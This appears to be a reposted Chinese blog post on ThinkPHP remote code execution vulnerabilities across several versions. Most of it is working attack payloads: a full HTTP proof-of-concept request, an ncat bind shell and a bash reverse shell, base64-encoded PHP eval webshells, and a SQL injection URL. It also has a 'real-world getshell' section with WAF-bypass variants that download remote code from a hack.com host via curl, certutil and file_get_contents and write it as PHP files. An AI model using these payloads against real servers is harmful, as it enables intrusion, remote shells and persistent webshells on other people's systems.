赞
踩
一、漏洞信息
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
二、漏洞复现
本次测试版本:thinkphp5.0.23
完整版命令执行payload:
POC:
- POST /thinkphp/public/index.php?s=captcha HTTP/1.1
- Host: 127.0.0.1
- sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
- sec-ch-ua-mobile: ?0
- sec-ch-ua-platform: "Windows"
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Sec-Fetch-Site: none
- Sec-Fetch-Mode: navigate
- Sec-Fetch-User: ?1
- Sec-Fetch-Dest: document
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: PHPSESSID=9iip80kd1caqrml0ukbshte6o5
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 59
-
- _method=__construct&method=get&filter=system&route[]=whoami

命令执行成功,可以看出是windows,所以我用nc来拿shell
- 前提被攻击者主机要有nc
-
- 被攻击者执行:ncat -l -p port -e cmd.exe
- 攻击者执行: nc 10.1.1.207 9898
-
- 如果对nc不熟悉的话,可以访问这个链接:https://blog.csdn.net/weixin_47036398/article/details/123479376
-
- payload:
- _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ncat -l -p 9898 -e cmd.exe
-
-
- 如果是linux可以使用反弹shell:
-
- bash -i >& /dev/tcp/192.168.88.133/4444 0>&1
-
- 也可以使用:
- echo "<?php @eval($_POST[value]);?>" >shell.php
-
- base64加密:
- echo -n PD9waHAgQGV2YWwoJF9QT1NUW3ZhbHVlXSk7Pz4= | base64 -d >shell.php

三、thinkphp总述
在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用
_method=__construct&method=get&filter=system&s=whoami
在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数
_method=__construct&method=get&filter=system&s=whoami
在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令
_method=__construct&method=get&filter=system&s=whoami
在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce
- POST /index.php?s=captcha
- _method=__construct&method=get&filter=system&s=whoami
在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
- POST /index.php?s=captcha
- _method=__construct&method=get&filter=system&get[]=whoami
- _method=__construct&method=get&filter=system&route[]=whoami
开启debug如下
_method=construct&method=get&filter=system&route[]=whoami
ThinkPHP 2.x和3.0 任意代码执行漏洞
使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
- http://127.0.0.1/index.php?s=/index/index/name/${phpinfo()}
- http://127.0.0.1/index.php?s=/a/b/c/${phpinfo()}
- http://127.0.0.1/index.php?s=a/b/c/${@print(eval($_POST[shell]))}
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
- http://127.0.0.1/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
-
- http://127.0.0.1/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id
-
- http://127.0.0.1/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
- http://127.0.0.1/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php
ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
http://127.0.0.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
ThinkPHP5.x.x各版本实战环境getshell
-5.1.18
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
-5.0.5
- waf对eval进行了拦截禁止了assert函数对eval函数后面的括号进行了正则过滤对file_get_contents函数后面的括号进行了正则过滤
-
- http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
-5.1.18
- 所有目录都无写权限,base64函数被拦截
- http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
-5.0.18
- windows
-
- http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
-
- http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
-
- 使用certutil
-
- http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
-
- 由于根目录没写权限,所以写到uploads
-5.0.14
- eval('')和assert('')被拦截,命令函数被禁止
-
- http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
-
- http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
-5.0.11
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
-5.0.14
- php7.2
-
- http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
-
- http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
- 写进去发现转义了尖括号
-
- 通过copy函数
-
- http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。